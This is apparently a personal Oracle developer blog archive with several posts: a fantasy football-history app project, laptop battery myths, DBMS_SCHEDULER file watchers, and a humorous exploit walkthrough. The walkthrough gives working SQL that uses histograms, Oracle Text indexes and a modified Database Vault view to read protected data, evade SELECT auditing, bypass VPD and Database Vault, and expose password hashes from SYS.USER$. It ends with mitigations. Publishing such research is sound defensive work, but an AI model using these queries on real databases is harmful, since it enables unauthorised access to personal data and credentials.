 So that : I know how teams are performing relative to each other in a League or round-robin tournament
As a : Record Keeper
 I would like to : record which team won and which teams were placed in a competition
 so that : I can maintain a Roll of Honour

Whilst this is all a bit rough-and-ready, it does give us a backlog to start working from.

Project Management Software

Now, how best to track our progress ? At this point, I did start to wonder whether I could throw together a quick application as installing Jira was likely to take time and incur cost that I didn’t really have on this project.

Fortunately, Altassian saved me the bother as they provide a free Jira cloud account.

Consequently, my backlog is now just waiting for Sprint 1 to start, which will be the subject of my next post on this topic.

Fantasy Software Development – exploring Brownfield development with Oracle RAD

Wed, 2020-12-30 13:22

I just can’t get the hang of Fantasy Football.
I’ll do all the right things, like swapping out striker A because of that tough away game coming up and bring in striker B who is bang in form and playing against a team struggling at the foot of the table.
Then I’ll look on helplessly as striker A bangs in a hat-trick whilst striker B scores an own-goal and manages to get sent-off.
Therefore, I’ve decided to stop worrying about how my pretend football team is getting on and do something a bit more useful, like undertaking a pretend development project. Yep, welcome to Fantasy Software Development.
The primary reason for doing this is to explore how an application evolves over it’s lifetime.
A huge amount has been written about how to develop applications from scratch but not so much about how they grow once the initial release is in production and the enhancement requests start coming in.
In other words, how is it that an application which, if you were writing it from the ground up right now would look like this :

…actually looks like this :

This is quite a sprawling project and my intention is to tackle it through several posts. This one is simply to give and overview of where I might be headed.

The Application Road Map

The purpose of my application is to capture the results and outcomes of Association Football tournaments, throughout the history of the game.
Rather than looking back with the benefit of hindsight, I’m going to approach this with an initial “green field” development based on events between 1871 ( when the game can be said to have started) and 1889, the culmination of the first English Football League Championship.

Subsequently, I’m going to add enhancements to the application as the game develops through it’s history.
My intention is to divide these enhancement projects into the following periods :

1890 – 1939
1940 – 1959
1960 – 1979
1980 – Present Day

I’ll try not to anticipate any future developments as I go. For example, the invention of the penalty kick in 1890 will come as something of a surprise. However, there will be some circumstances where such anachronisms may creep in. I’ll point these out as and when they crop up.

Organisational background and constraints

I like my fantasy with a dark tinge of realism.
In this instance, it comes in the form of some of the practices you may find in a typical IT department of a large organisation. Specifically, in many organisations, IT projects follow an Agile methodology.
In effect, this normally means that they follow Scrum.
Scrum is “deliberately incomplete” and the resultant “wiggle-room” it offers has proved irresistible to large organisations that want to harness the benefits of iterative development without sacrificing the control offered by more traditional methods.
This equivocation should come in handy when we try to reconcile the 2-4 week sprints with the approach of designing a complete data model up-front, which is favoured for database -or at least, RDBMS – centric applications. This is a theme which I’ll return to in future posts.

Software

The Oracle RAD stack ( or framework, if you prefer) I’ll be using is :

Oracle 18c Express Edition Database
Oracle APEX 18.2
Oracle Rest Data Services (ORDS) 18.4

All of this will be running on CentOS 7.

Yes, to add to the realism, not all of the software components are the latest version available.
Some of them may be upgraded as and when I get time during the project.

Right, I’ve committed to doing this now so I’d better get on with it. The next post will (should ) be the Story Finding for the application.

Horrible Histograms and Invidious Indexes – Exploits to by-pass Oracle Database Security – including VPD and Database Vault

Fri, 2020-11-20 10:55

This article is about how Indexes and Histograms may be used to view data to which a user does not ordinarily have access. It includes details of how these objects can be used to circumvent both Virtual Private Database and Database Vault restrictions.
If you want a serious and thorough exploration of these issues then I’d suggest you take a look at Alexander Kornbrust’s recent DOAG Presentation.

However, if you like your infosec to come with cute puppy pics, read on…

Meet Alexander Kornbrust. He’s an Information Security specialist with a particular focus on Oracle.

Having known Alex for many years, there are a couple of things about him that I find striking. Firstly, every time we have a conversation about the Oracle RDBMS, I learn something new. Secondly, in all these years, he hasn’t aged a day :

Alex has found some “interesting” behaviours inherent in Relational Databases in general and Oracle is no exception in this respect.

Before we get into that though, we need to meet the story’s main protagonist.

His name is Teddy. He’s done a bit of background research for the role and he thinks that remaining incognito would be a good starting point :

Have you got a false nose to go with these glasses ?

Truth be told, persuading him to do this ( in fact to do anything he’s supposed to) took some doing. In the end however, we overcame the human/canine communication barrier by employing the Esperanto of bribery. As a result, Teddy now has a large stockpile of dog biscuits. The relevance of this will become apparent shortly…

NOTE – I was able to run all of the code in this article on Oracle 18cXE running on CentOS 7.

Teddy just got a job at Lead the Way – a pet equipment company. He’s just been added to the Company’s HR system, which may well look rather familiar…

insert into employees( 
    employee_id, first_name, last_name, email, phone_number,
    hire_date, job_id, salary, manager_id, department_id)
values(
    employees_seq.nextval, 'Teddy', 'Dog', 'TDOG', '590.423.4570',
    to_date('20190226', 'YYYYMMDD'), 'IT_PROG', 2000, 103, 60)
/

Whilst he is only a lowly paid member of the IT Department, he does have some relatively powerful privileges in order to look after the system :

grant create session, select_catalog_role to tdog identified by password_buried_in_the_garden;

Teddy’s privileges will change as we go through this post. For now though, they are as follows :

select privilege, 'System Privilege' as PRIVILEGE_TYPE from session_privs union
select role, 'Granted Role' from session_roles;

PRIVILEGE                      PRIVILEGE_TYPE  
------------------------------ ----------------
CREATE SESSION                 System Privilege
HS_ADMIN_SELECT_ROLE           Granted Role    
SELECT_CATALOG_ROLE            Granted Role    

This means that Teddy has no access to data in the application tables :

select *
from hr.locations;

ERROR at line 2:
ORA-01031: insufficient privileges

Actually, that’s not entirely true…

Accessing High/Low values via an index

As Teddy has SELECT_CATALOG_ROLE, he can confirm that there is actually a LOCATIONS table in the HR schema…

select object_type
from dba_objects
where owner = 'HR'
and object_name = 'LOCATIONS';

OBJECT_TYPE            
-----------------------
TABLE                  

…confirm which columns are in the locations table…

select column_name, data_type
from dba_tab_columns
where owner = 'HR'
and table_name = 'LOCATIONS';

COLUMN_NAME                    DATA_TYPE           
------------------------------ --------------------
LOCATION_ID                    NUMBER              
STREET_ADDRESS                 VARCHAR2            
POSTAL_CODE                    VARCHAR2            
CITY                           VARCHAR2            
STATE_PROVINCE                 VARCHAR2            
COUNTRY_ID                     CHAR     

…and which of those columns are indexed…

select index_name, column_name
from dba_ind_columns
where table_owner = 'HR'
and table_name = 'LOCATIONS';

INDEX_NAME                     COLUMN_NAME                   
------------------------------ ------------------------------
LOC_CITY_IX                    CITY                          
LOC_STATE_PROVINCE_IX          STATE_PROVINCE                
LOC_COUNTRY_IX                 COUNTRY_ID                    
LOC_ID_PK                      LOCATION_ID     

Which means we can find at least two values for character columns by querying the index meta-data…

with
    function raw_to_date(i_var in raw) return date as
        o_var date; 
    begin 
        dbms_stats.convert_raw_value(i_var,o_var); 
        return o_var; 
    end;
    function raw_to_number(i_var in raw) return number as
        o_var number; 
    begin 
        dbms_stats.convert_raw_value(i_var,o_var); 
        return o_var; 
    end;
    function raw_to_varchar2(i_var in raw) return varchar2 as
        o_var varchar2(32767); 
    begin 
        dbms_stats.convert_raw_value(i_var,o_var); 
        return o_var; 
    end;
select  
    case(substr(data_type,1,9))
        when 'VARCHAR2' then  to_char(raw_to_varchar2(high_value)) 
            end as plain_text_lo_val,
    case(substr(data_type,1,9))
        when 'VARCHAR2' then to_char(raw_to_varchar2(low_value))
    end as plain_text_hi_val
from dba_tab_columns
where table_name = 'LOCATIONS'
and column_name = 'CITY'
/

PLAIN_TEXT_LO_VAL    PLAIN_TEXT_HI_VAL   
-------------------- --------------------
Whitehorse           Beijing             

There’s a lot more data skulking around in other corners of the data dictionary…

Horrible histograms

Looking at the histograms generated by stats gathering jobs, we can find even more LOCATIONS data :

select column_name
from dba_histograms
where owner = 'HR'
and table_name = 'LOCATIONS'
having count(*) > 2
group by column_name;

COLUMN_NAME                   
------------------------------
COUNTRY_ID                    

As there are more than two rows for the LOCATIONS.COUNTRY_ID column in DBA_HISTOGRAMS Teddy knows that HISTOGRAM stats have been gathered.

As this column is actually a VARCHAR2, he can see the unencrypted COUNTRY_ID values simply by running :

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'LOCATIONS'
and column_name = 'COUNTRY_ID'
/

ENDPOINT_ACTUAL_VALUE                                                                                                             
----------------------
AU                                                                                                                                
BR                                                                                                                                
CA                                                                                                                                
CH                                                                                                                                
CN                                                                                                                                
DE                                                                                                                                
IN                                                                                                                                
IT                                                                                                                                
JP                                                                                                                                
MX                                                                                                                                
NL                                                                                                                                
SG                                                                                                                                
UK                                                                                                                                
US                                                                                                                                

14 rows selected. 

Remember, all Teddy has done to access this information is to run a few queries against the data dictionary.

In fact, the statement that created the histogram we’ve just looked at is contained in one of the HR schema creation scripts – $ORACLE_HOME/demo/schema/human_resources/hr_analz.sql :

EXECUTE dbms_stats.gather_schema_stats( 
        'HR'                            ,       
        granularity => 'ALL'            ,       
        cascade => TRUE                 ,       
        block_sample => TRUE            );

Even if selects on the table are being audited, these queries on the data dictionary will not be picked up.

While this is all very interesting, Teddy has other plans. After all, he wants to start monetizing his biscuit mountain and thinks that a mailing campaign would be just the job to generate sales. After all, it’s a Pet equipment company so some of his colleagues must be dog people. What he wants to do, therefore, is to obtain a list of email addresses…

Creating a histogram to bypass SELECT auditing

Teddy has passed his probation and now has an additional privilege :

grant analyze any to tdog;

Once he’s found the column that holds the data he’s interested in…

select column_name
from dba_tab_columns
where owner = 'HR'
and table_name = 'EMPLOYEES';

COLUMN_NAME         
--------------------
EMPLOYEE_ID
FIRST_NAME
LAST_NAME
EMAIL
PHONE_NUMBER
HIRE_DATE
JOB_ID
SALARY
COMMISSION_PCT
MANAGER_ID
DEPARTMENT_ID

11 rows selected. 

…he can check to see if a histogram already exists :

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL';

ENDPOINT_ACTUAL_VALUE                   
----------------------------------------



2 rows selected. 

As there are only two rows, each with a null ENDPOINT_ACTUAL_VALUE, Teddy can infer that no histogram exists on the table. However, this is not a major problem as he can use his new privilege to generate one :

begin
    dbms_stats.gather_table_stats(
        ownname => 'HR',
        tabname => 'EMPLOYEES',
        method_opt => 'FOR COLUMNS EMAIL size 255');
end;
/

It’s worth remembering that gathering stats on a table will not trigger auditing of SELECT statements on the table.

Now, he can access all of the EMPLOYEES.EMAIL values :

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL';



ENDPOINT_ACTUAL_VALUE                   
----------------------------------------
ABANDA
ABULL
ACABRIO
AERRAZUR
AFRIPP
AHUNOLD
AHUTTON
AKHOO
AMCEWEN
AWALSH
BERNST
BEVERETT
CDAVIES
CJOHNSON
COLSEN
CVISHNEY

****SNIP****

SVOLLMAN
TFOX
TGATES
TJOLSON
TRAJS
VJONES
VPATABAL
WGIETZ
WSMITH
WTAYLOR

107 rows selected.
Indexes and Histograms vs Virtual Private Database

The concept of Virtual Private Databases (VPD) has been around for many years in Oracle. Essentially, VPDs restrict data access by adding a predicate to DML statements against specific tables.

There’s a brief explanation of how it all works here.

Before we go any further, let’s remove the histogram Teddy created on EMPLOYEES.EMAIL :

exec dbms_stats.gather_table_stats( ownname => 'HR', tabname => 'EMPLOYEES', method_opt => 'FOR COLUMNS EMAIL size 1');

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL';

ENDPOINT_ACTUAL_VALUE                                                           
--------------------------------------------------------------------------------
                                                                                
                                                                                

2 rows selected. 

For the purposes of our story, we’ve taken a brutal yet effective approach to VPD implementation for the EMPLOYEES table.

Having adjusted HR’s privileges :

grant execute on dbms_rls to hr

…we’ve created this function in the HR schema :

create or replace function dept_id_fn( i_schema user_users.username%type, i_table user_objects.object_name%type)
    return varchar2 is
begin
    return 'department_id = 60';
end dept_id_fn;
/

…and (as HR), created a policy for all SELECT statements on the table :

begin
    dbms_rls.add_policy(
        object_schema => 'HR', 
        object_name => 'EMPLOYEES', 
        policy_name => 'OWN_DEPT', 
        function_schema => 'HR', 
        policy_function => 'dept_id_fn', 
        statement_types => 'SELECT');
end;
/

The upshot of this is that even HR can now only select rows from the EMPLOYEES table that have a DEPARTMENT_ID of 60 :

select department_id, email
from employees;

DEPARTMENT_ID EMAIL                    
------------- -------------------------
           60 AHUNOLD                  
           60 BERNST                   
           60 DAUSTIN                  
           60 VPATABAL                 
           60 DLORENTZ                 
           60 TDOG                     

6 rows selected. 

Meanwhile, Teddy has now been granted access to the table :

grant select on hr.employees to tdog;
Bypassing VPD with a Histogram

Like HR, Teddy can only see the six Department 60 records in EMPLOYEES :

select department_id, count(*)
from hr.employees
group by department_id;

DEPARTMENT_ID   COUNT(*)
------------- ----------
           60          6

However, he can still use the histogram trick to view all of the email addresses :

exec dbms_stats.gather_table_stats( 
    ownname => 'HR', 
    tabname => 'EMPLOYEES', 
    method_opt => 'FOR COLUMNS EMAIL size 255');

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL'
/

ENDPOINT_ACTUAL_VALUE                                                           
--------------------------------------------------------------------------------
***snip***

TFOX                                                                            
TGATES                                                                          
TJOLSON                                                                         
TRAJS                                                                           
VJONES                                                                          
VPATABAL                                                                        
WGIETZ                                                                          
WSMITH                                                                          
WTAYLOR                                                                         

108 rows selected. 

Bypassing VPD with a fulltext index

Histograms are not the only dictionary object that can be used to circumvent VPD policies.

Let’s say that Teddy ( TDOG as he now inisits on being called) has the following additional privileges :

grant create table, create any index to tdog;
alter user tdog quota unlimited on users;

He could do the following…

create index tdog.email_idx on hr.employees(email) 
    indextype is ctxsys.context;

This statement uses Oracle Text to create an index on HR.EMPLOYEES.EMAIL.

The index itself is owned by TDOG. Teddy can then query the index, the creation of which has by-passed the VPD policy on the table :

select token_text
from dr$email_idx$i
/

TOKEN_TEXT                                                                      
***snip***
TFOX                                                                            
TGATES                                                                          
TJOLSON                                                                         
TRAJS                                                                           
VJONES                                                                          
VPATABAL                                                                        
WGIETZ                                                                          
WSMITH                                                                          
WTAYLOR                                                                         

108 rows selected.

So, we can conclude that data is visible via histograms and indexes, even when it is otherwise protected by a VPD policy.

Incidentally, it’s worth noting that this applies even if the index or histogram in question was created prior to the implementation of the VPD policy.

For example…

Bypassing VPD to access high and low values in a pre-existing index

Teddy can see values outside those defined by the VPD simply by looking at columns with pre-existing indexes. For example, the EMPLOYEE.EMAIL column already has an index :

select index_name
from dba_ind_columns
where table_owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL';

INDEX_NAME                    
------------------------------
EMP_EMAIL_UK


…which Teddy can now take advantage of as we’ve seen previously :

with
    function raw_to_varchar2(i_var in raw) return varchar2 as
        o_var varchar2(32767); 
    begin 
        dbms_stats.convert_raw_value(i_var,o_var); 
        return o_var; 
    end;
select  
    case(substr(data_type,1,9))
        when 'VARCHAR2' then  to_char(raw_to_varchar2(high_value)) 
            end as plain_text_lo_val,
    case(substr(data_type,1,9))
        when 'VARCHAR2' then to_char(raw_to_varchar2(low_value))
    end as plain_text_hi_val
from dba_tab_columns
where table_name = 'EMPLOYEES'
and column_name = 'EMAIL'
/


PLAIN_TEXT_LO_VAL                   PLAIN_TEXT_HI_VAL                  
----------------------------------- -----------------------------------
WTAYLOR                             ABANDA                             

Breaking into the Oracle Database Vault

The DBA at Lead the Way is fed up with all the spam she’s been getting about cheap dog biscuits. Apart from anything else, she’s a cat person.

Therefore, she’s decided to step up the data security by replacing the Virtual Private Database with an Oracle Database Vault Realm for the HR schema :

conn c##dbv_owner@xepdb1


begin
    DBMS_MACADM.CREATE_REALM (
    realm_name => 'HR Realm',
    description => 'Human Resources - Right-sizing your future',
    enabled => DBMS_MACUTL.G_YES,
    audit_options => DBMS_MACUTL.G_REALM_AUDIT_FAIL,
    realm_type => 1); 
end; 
/

begin
    DBMS_MACADM.ADD_OBJECT_TO_REALM(
    realm_name => 'HR Realm',
    object_owner => 'HR',
    object_name => '%',
    object_type => 'TABLE'); 
end; 
/

begin
    DBMS_MACADM.ADD_AUTH_TO_REALM(
        realm_name => 'HR Realm',
        grantee => 'HR',
        auth_options => DBMS_MACUTL.G_REALM_AUTH_OWNER); 
end;
/

As a result of this, HR can still see it’s own tables, but no-one else can.

Even connecting as SYSDBA doesn’t help :

conn sys@xepdb1 as sysdba
Password? (**************?) ************
Connected.
SQL> select count(*) from hr.employees;

select count(*) from hr.employees
                        *
ERROR at line 1:
ORA-01031: insufficient privileges

Furthermore, a histogram won’t help in this instance, as all of the values show up in DBA_HISTOGRAMS as null :

begin
    dbms_stats.gather_table_stats(
        ownname => 'HR',
        tabname => 'EMPLOYEES',
        method_opt => 'FOR COLUMNS EMAIL size 255');
end;
/


PL/SQL procedure successfully completed.

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL'

ENDPOINT_ACTUAL_VALUE                                                           
--------------------------------------------------------------------------------
                                                                                
                                                                                
***snip***                                                                                
                                                                                
                                                                                
108 rows selected. 

According to popular culture at the moment, if you’re going to crack a vault, you will need Ray Winston and some mates armed with bus passes and an industrial drill ( other ageing cockney geezers are available).

Fortunately for us, the same can be achieved by a cheeky chappie with a database account.

Taking a closer look at the source code for DBA_TAB_HISTOGRAMS – the data dictionary view pointed to by the DBA_HISTOGRAMS public synonym – we can see that it uses the following line to enforce the Data Vault restrictions :

sys_op_dv_check(o.name,o.owner#)= 1

Let’s get the view query and change all occurences of this line to :

sys_op_dv_check(o.name,o.owner#)!= 1

The resulting query looks like this :

with cheeky_chappie_histos as
(
    select /*+ ordered */ u.name as owner,
           o.name as table_name,
           decode(bitand(c.property,1),1,a.name,c.name) as column_name,
           h.bucket as endpoint_number,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.endpoint
               else
                   null
           end as endpoint_value,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   case
                       when h.epvalue is not null then
                           epvalue
                       else
                           dbms_stats.conv_raw(h.epvalue_raw,c.type#)
                   end
               else
                   null
           end as endpoint_actual_value,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.epvalue_raw
               else
                   null
           end as endpoint_actual_value_raw,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.ep_repeat_count
               else
                   null
           end as endpoint_repeat_count,
           'SHARED' as scope
    from sys.user$            u,
         sys.obj$             o,
         sys.col$             c,
         sys."_HISTGRM_DEC"   h,
         sys.attrcol$         a
    where o.obj# = c.obj# and o.owner# = u.user# and c.obj# = h.obj# and c.intcol# = h.intcol# and(o.type# in(
        3,
        4
    )                                     /* cluster, view */or(o.type# = 2     /* tables, excluding iot - overflow and nested tables */ and not exists(
        select null
        from sys.tab$ t
        where t.obj# = o.obj# and(bitand(t.property,512)= 512 or bitand(t.property,8192)= 8192)
    )))and c.obj# = a.obj#(+)and c.intcol# = a.intcol#(+)
    union all
    select /*+ ordered */ u.name,
           o.name,
           decode(bitand(c.property,1),1,a.name,c.name),
           0,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.minimum
               else
                   null
           end,
           null,
           null,
           0,
           'SHARED'
    from sys.user$              u,
         sys.obj$               o,
         sys.col$               c,
         sys."_HIST_HEAD_DEC"   h,
         sys.attrcol$           a
    where o.obj# = c.obj# and o.owner# = u.user# and c.obj# = h.obj# and c.intcol# = h.intcol# and(o.type# in(
        3,
        4
    )                                     /* cluster, view */or(o.type# = 2     /* tables, excluding iot - overflow and nested tables */ and not exists(
        select null
        from sys.tab$ t
        where t.obj# = o.obj# and(bitand(t.property,512)= 512 or bitand(t.property,8192)= 8192)
    )))and h.row_cnt = 0 and h.distcnt > 0 and c.obj# = a.obj#(+)and c.intcol# = a.intcol#(+)
    union all
    select /*+ ordered */ u.name,
           o.name,
           decode(bitand(c.property,1),1,a.name,c.name),
           1,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.maximum
               else
                   null
           end,
           null,
           null,
           0,
           'SHARED'
    from sys.user$              u,
         sys.obj$               o,
         sys.col$               c,
         sys."_HIST_HEAD_DEC"   h,
         sys.attrcol$           a
    where o.obj# = c.obj# and o.owner# = u.user# and c.obj# = h.obj# and c.intcol# = h.intcol# and(o.type# in(
        3,
        4
    )                                     /* cluster, view */or(o.type# = 2     /* tables, excluding iot - overflow and nested tables */ and not exists(
        select null
        from sys.tab$ t
        where t.obj# = o.obj# and(bitand(t.property,512)= 512 or bitand(t.property,8192)= 8192)
    )))and h.row_cnt = 0 and h.distcnt > 0 and c.obj# = a.obj#(+)and c.intcol# = a.intcol#(+)
    union all
    select /*+ ordered */ 'SYS',
           ft.kqftanam,
           c.kqfconam,
           h.bucket,
           h.endpoint,
           case
               when h.epvalue is not null then
                   epvalue
               else
                   dbms_stats.conv_raw(h.epvalue_raw,c.kqfcodty)
           end,
           h.epvalue_raw,
           h.ep_repeat_count,
           'SHARED'
    from sys.x$kqfta          ft,
         sys.fixed_obj$       fobj,
         sys.x$kqfco          c,
         sys."_HISTGRM_DEC"   h
    where ft.kqftaobj = fobj.obj# and c.kqfcotob = ft.kqftaobj and h.obj# = ft.kqftaobj and h.intcol# = c.kqfcocno
  /*
   * if fobj and st are not in sync (happens when db open read only
   * after upgrade), do not display stats.
   */ and ft.kqftaver = fobj.timestamp - to_date('01-01-1991','DD-MM-YYYY')
    union all
    select /*+ ordered */ u.name,
           o.name,
           decode(bitand(c.property,1),1,a.name,c.name),
           h.bucket_kxttst_hs,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.endpoint_kxttst_hs
               else
                   null
           end,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   dbms_stats.conv_raw(h.epvalue_raw_kxttst_hs,c.type#)
               else
                   null
           end,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.epvalue_raw_kxttst_hs
               else
                   null
           end,
           case
               when sys_op_dv_check(o.name,o.owner#)!= 1 then
                   h.ep_repeat_count_kxttst_hs
               else
                   null
           end,
           'SESSION'
    from sys.user$         u,
         sys.obj$          o,
         sys.col$          c,
         sys.x$kxttstehs   h,
         sys.attrcol$      a
    where o.obj# = c.obj# and o.owner# = u.user# and c.obj# = h.obj#_kxttst_hs and c.intcol# = h.intcol#_kxttst_hs and(o.type# in
    (
        3,
        4
    )                                     /* cluster, view */or(o.type# = 2     /* tables, excluding iot - overflow and nested tables */ and not exists(
        select null
        from sys.tab$ t
        where t.obj# = o.obj# and(bitand(t.property,512)= 512 or bitand(t.property,8192)= 8192)
    )))and c.obj# = a.obj#(+)and c.intcol# = a.intcol#(+)
)
select *
from cheeky_chappie_histos 
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL'
/

…and returns the actual values in the histogram :

ENDPOINT_ACTUAL_VALUE                                                           
--------------------------------------------------------------------------------
ABANDA                                                                          
ABULL                                                                           
ACABRIO                                                                         
AERRAZUR                                                                        
AFRIPP                                                                          
AHUNOLD                                                                         
AHUTTON                                                                         
AKHOO                                                                           
AMCEWEN                                                                         
AWALSH                                                                          
BERNST               

***SNIP***


108 rows selected. 

Reading Oracle Password Hashes from a Histogram

Before we wrap things up, there is one final exploit to examine.

Connected to the database as SYSTEM, we have no access to the SYS.USER$ table, which holds the password hashes in the SPARE4 column :

select spare4
from sys.user$
/

ERROR at line 2:
ORA-01031: insufficient privileges

However, SYSTEM has the ANALYZE ANY DICTIONARY privilege. Therefore, we can do this :

begin
    dbms_stats.gather_table_stats(
        ownname => 'SYS',
        tabname => 'USER$',
        method_opt => 'FOR COLUMNS SPARE4 size 255');
end;
/

…which now makes the password hashes available via the histogram :

select endpoint_actual_value
from dba_histograms
where owner = 'SYS'
and table_name = 'USER$'
and column_name = 'SPARE4'
/

ENDPOINT_ACTUAL_VALUE                   
----------------------------------------

****Loads of password hashes****

Mitigations

So, what can our erstwhile DBA do to avoid becoming knee deep in unwanted doggy treats ?

First of all, she needs to consider that, whilst the above examples have been generated on 18c, other releases may also be affected. She would need to verify this on whatever version and edition she is currently running.

Oracle are constantly working to provide fixes for vulnerabilities so timely application of Oracle Critical Patch Updates should remain a priority.

It should be noted that CPUs are not provided for Express Edition databases. Therefore, consideration should be given to what audience is appropriate for an application running on this database edition.

Every table for which auditing is enabled for select statements should have CREATE INDEX statements audited as well. Under normal circumstances, this activity should be rare and is therefore unlikely to flood the audit trail with a large number of additional entries.

Keeping track of which schemas have the privileges mentioned here would be useful. Equally useful would be to keep track of who can connect to the database using those schemas.

To recap, the main privileges (and role) in question are :

  • ANALYZE ANY
  • ANALYZE ANY DICTIONARY
  • CREATE ANY INDEX
  • SELECT CATALOG ROLE

Some data warehouse environments have bind variable peeking disabled. This being the case, histograms are not used by the optimizer. You can check to see if this is the case by seeing whether the _optim_peek_user_binds parameter is set :

select value
from v$parameter
where name = '_optim_peek_user_binds'
/

If the value is set to ‘TRUE’ then bind variable peeking is disabled and you can consider clearing down any histograms on application tables.

NOTE – as this is an underscore parameter and thus undocumented, you should check to make sure the above still applies to the Oracle version that you are currently running.

Acknowledgements

The brains behind this particular post belong to the afore mentioned Alexander Kornbrust. I continue to be awed by his wonderfully devious mind when it comes to all things Oracle. Teddy doesn’t agree, but he’s just sulking because Alex wouldn’t buy any dog biscuits.

This Oracle Base article on Virtual Private Databases by Tim Hall was helpful, as was this article on the same subject by Saurabh Gupta.

Of course, sometimes you just need to read the manual and my thanks goes again to the nameless Oracle Document Elves who produced the Getting Started with Database Vault Guide.

Teddy hopes that all of this has at least given you paws for thought. Oh, and would you like to buy some biscuits ?

Assaulting my Battery – Myths and Legends about looking after a laptop battery.

Mon, 2020-10-26 16:26

I’m not a hardware specialist, but I’m not averse to prizing open a laptop case occasionally when the need arises. Most of the time.
This, however was an exception. This is one view of my XPS13 that I never wanted to see :

What brought me to this point was the untimely demise of the battery.
What follows is not a blow-by-blow account of how I changed the battery, with all of the attendant nervousness that practically everything I was looking at was rather expensive and no doubt quite important.
Incidentally, if you are looking for that sort of thing then there are several helpful videos available, like this one, for example.
Rather it is an exploration of some of the advice around about ensuring your battery has a long and happy life. Specifically, it is an attempt to divine which advice is still relevant to the Lithium Ion (Li-Ion) Polymer batteries of the sort that power modern laptops…

Recharge Cycles

The expected life of a battery (i.e. how long before it wears out, not time between recharges) is measured in recharge cycles.
Fully charging a battery from 0% power to 100% is one cycle.
Usually, a laptop battery will be charged from a point before it’s been completely drained. This type of charge corresponds to part of a charge cycle.
For example, charging a battery from 20% to full will be considered as 0.8 of a cycle.
Looking at the spec for my machine, I can see that the battery is expected to last 300 cycles.

Battery “memory”

This phenomenon is where a battery “forgets” how much charge it can hold and needs to be reminded by being completely drained and then fully recharged.
Whilst this may have been true of some of the old nickel-metal hydride (NiMH) batteries, it is certainly not the case for the modern Li-Ion variety.

Overcharging

Once again, it may have been good practice in the past to disconnect the charger once the battery was fully charged. These days however, it does not appear to be the case.
For my particular machine, this question is directly addressed in an FAQ on Dell’s website :

“Can a Dell battery be overcharged ?
No, Dell laptops are designed to stop charging the battery when it reaches full charge. Once the battery is fully charged, the Dell laptop will continue to use power from the AC adapter.”

Monitoring Battery Health in Linux

There are battery monitors available whichever Linux desktop you happen to be using. If you prefer a command line tool then acpi should do the job.
Running this for my old, failing battery, output such as this wouldn’t be unusual :

acpi -ib
Battery 0: Discharging, 47%, 03:47:12 remaining
Battery 0: design capacity 7894 mAh, last full capacity 6327 mAh = 80%


The “last full capacity” reading here is an indicator that this battery has seen better days.

In contrast, the new battery looks rather more healthy :

acpi -bi
Battery 0: Discharging, 94%, 10:14:24 remaining
Battery 0: design capacity 7894 mAh, last full capacity 7894 mAh = 100%

So, how long should my battery last ?

As ever, it depends.
My own experience with the XPS13 was that 300 cycles lasted around 3 years.
Factors affecting the lifespan (in terms of elapsed time) would include, how often you use the laptop on battery as opposed to AC power, and how hard you make it work relative to the system resources (CPU, RAM, disk) at it’s disposal.
When all is said and done, it seems like 3 years is probably a reasonable lifespan, given how I use my machine.
I don’t think I’ll be making too many changes to the way I use my battery.

DBMS_SCHEDULER – Fiddling with File Watchers

Wed, 2020-09-30 13:56

I recently updated my blog profile picture. Let’s face it, it was about time. The old one was taken 14 years ago.
This time, I thought I’d go for a contemporary portrait, which has the added benefit of being less likely to frighten animals and small children.
Unfortunately, it is also crying out for a caption :

Just popping into the bank. Keep the engine running

One or two alternatives captions may well crop up in the following paragraphs.
Primarily though, I’ll be talking about the file watcher capabilities of DBMS_SCHEDULER.
Introduced in 11g, it enables developers to trigger actions when a file arrives without having to leave the comfort of their database.
There are a few moving parts and getting them to work together can take a bit of, well, fiddling.
Specifically, we’ll be looking at :

  • configuring the frequency at which filewatchers are run
  • creating a credential to use for file watching
  • creating a file watcher to determine when a file has arrived
  • creating a job for the file watcher to execute
  • adding a program so that we can get some information about the file
  • getting the filewatcher to wait for a large file transfer to complete

Before we get into all of that, we need to have a quick chat about environments…

Don’t try this at home

More specifically, don’t try this on Oracle 18c Express Edition.
The examples that follow have been tested on Oracle Enterprise Edition 12cR2 ( 12.2.0.1.0) running on Oracle Linux 7.3. I would normally run something like this on Oracle 18cXE. However, Express Edition is missing one of the components required for the File Watcher mechanism to work, namely the DBMS_ISCHED.FILE_WATCH_JOB procedure.

Finding and Configuring File Watcher settings

It’s probably worth taking a whistle-stop tour through the data dictionary views that provide some detail about how Oracle’s file watcher functionality hangs together.

Let’s start with the main scheduler job itself :

select program_owner, program_name, schedule_name, 
comments
from dba_scheduler_jobs
where owner = 'SYS'
and job_name = 'FILE_WATCHER'
/

PROGRAM_OWNER   PROGRAM_NAME         SCHEDULE_NAME             COMMENTS                      
--------------- -------------------- ------------------------- ------------------------------
SYS             FILE_WATCHER_PROGRAM FILE_WATCHER_SCHEDULE     File watcher job              

We can see that the job is associated with both a Program and a Schedule.

If we look at the program, we can find out more details about what Oracle runs under the covers when a file watcher is initiated :

select program_type, program_action, comments
from dba_scheduler_programs
where owner = 'SYS'
and program_name = 'FILE_WATCHER_PROGRAM'
/

PROGRAM_TYPE         PROGRAM_ACTION                 COMMENTS                      
-------------------- ------------------------------ ------------------------------
STORED_PROCEDURE     dbms_isched.file_watch_job     File Watcher program          

